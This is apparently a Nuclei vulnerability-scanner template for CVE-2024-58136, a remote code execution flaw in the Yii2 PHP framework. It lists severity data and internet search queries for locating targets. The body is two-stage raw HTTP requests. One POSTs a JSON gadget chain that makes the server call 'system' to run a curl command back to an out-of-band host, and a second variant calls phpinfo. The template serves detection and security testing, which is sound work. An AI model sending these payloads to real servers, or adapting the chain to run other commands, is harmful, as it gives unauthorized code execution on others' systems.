Yii2 PHP Framework < 2.0.52 - Remote Code Execution

id: CVE-2024-58136

info:
  name: Yii2 PHP Framework < 2.0.52 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.
  impact: |
    Unauthenticated attackers can exploit improper validation of the __class key in JSON behaviors to instantiate arbitrary PHP classes and achieve remote code execution.
  remediation: |
    Update Yii2 PHP Framework to version 2.0.52 or later to address the remote code execution vulnerability.
  reference:
    - https://infosecwriteups.com/from-behaviors-to-shells-yii2-php-framework-rce-cve-2024-58136-exploit-and-mitigation-e47a60a3cecb
    - https://nvd.nist.gov/vuln/detail/CVE-2024-58136
  classification:
    epss-score: 0.87757
    epss-percentile: 0.99762
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-58136
    cwe-id: CWE-94
    cpe: cpe:2.3:a:yiisoft:yii:2.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: yiisoft
    product: yii
    fofa-query: title="Yii"
    shodan-query: title:"Yii"
  tags: cve,cve2024,yii2,rce,php,framework,kev,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        words:
          - "Yii"
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}

      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "PHP Version"
          - "PHP Extension"
        condition: and
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